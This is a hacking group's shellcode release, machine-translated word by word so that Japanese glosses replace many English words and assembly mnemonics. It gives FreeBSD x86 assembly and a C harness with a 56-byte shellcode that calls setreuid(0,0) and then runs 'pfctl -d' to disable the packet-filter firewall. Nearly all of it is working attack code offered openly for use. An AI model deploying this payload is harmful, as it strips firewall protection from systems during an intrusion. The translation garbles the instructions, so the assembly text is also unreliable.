このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group 生産/産物, kid [FreeBSD x86 setreuid(0, 0) + execve(pfctl -d) 56 bytes] The simples way to 無能にする the FreeBSD's packet filter. We do not 紅潮/摘発する all 支配するs (pfctl -F all) but only turn the firewall off. 議会 code: -------------------------code.asm-------------------------- section .text 全世界の _start _start: xor eax, eax 押し進める eax 押し進める eax mov al, 126 押し進める eax int 0x80 ; setreuid() xor eax, eax 押し進める eax 押し進める word 0x642d mov ecx, esp ; ecx 含む/封じ込めるs a pointer to "-d" string 押し進める eax 押し進める 0x6c746366 押し進める 0x702f6e69 押し進める 0x62732f2f mov ebx, esp ; ebx 含む/封じ込めるs a pointer to "//sbin/pfctl" string 押し進める eax 押し進める ecx 押し進める ebx mov ecx, esp 押し進める eax 押し進める ecx 押し進める ebx mov al, 0x3b 押し進める eax int 0x80 ; execve() xor eax, eax 押し進める eax 押し進める eax int 0x80 ; 出口() -------------------------code.asm-------------------------- And C code: -------------------------code.c---------------------------- #含む "stdio.h" char shellcode[]= "\x31\xc0\x50\x50\xb0\x7e\x50\xcd\x80\x31\xc0\x50\x66\x68\x2d\x64" "\x89\xe1\x50\x68\x66\x63\x74\x6c\x68\x69\x6e\x2f\x70\x68\x2f\x2f" "\x73\x62\x89\xe3\x50\x51\x53\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd" "\x80\x31\xc0\x50\x50\xcd\x80"; int main(int argc, char *argv[]){ int (*func)(); func=(int (*)())shellcode; (int)(*func)(); } -------------------------code.c---------------------------- Greetz to: 0in, cOndemned (and to other DaRk-CodeRs members), str0ke, e.wiZz!, Katharsis, doctor and many others... Visit us : www.dark-coders.pl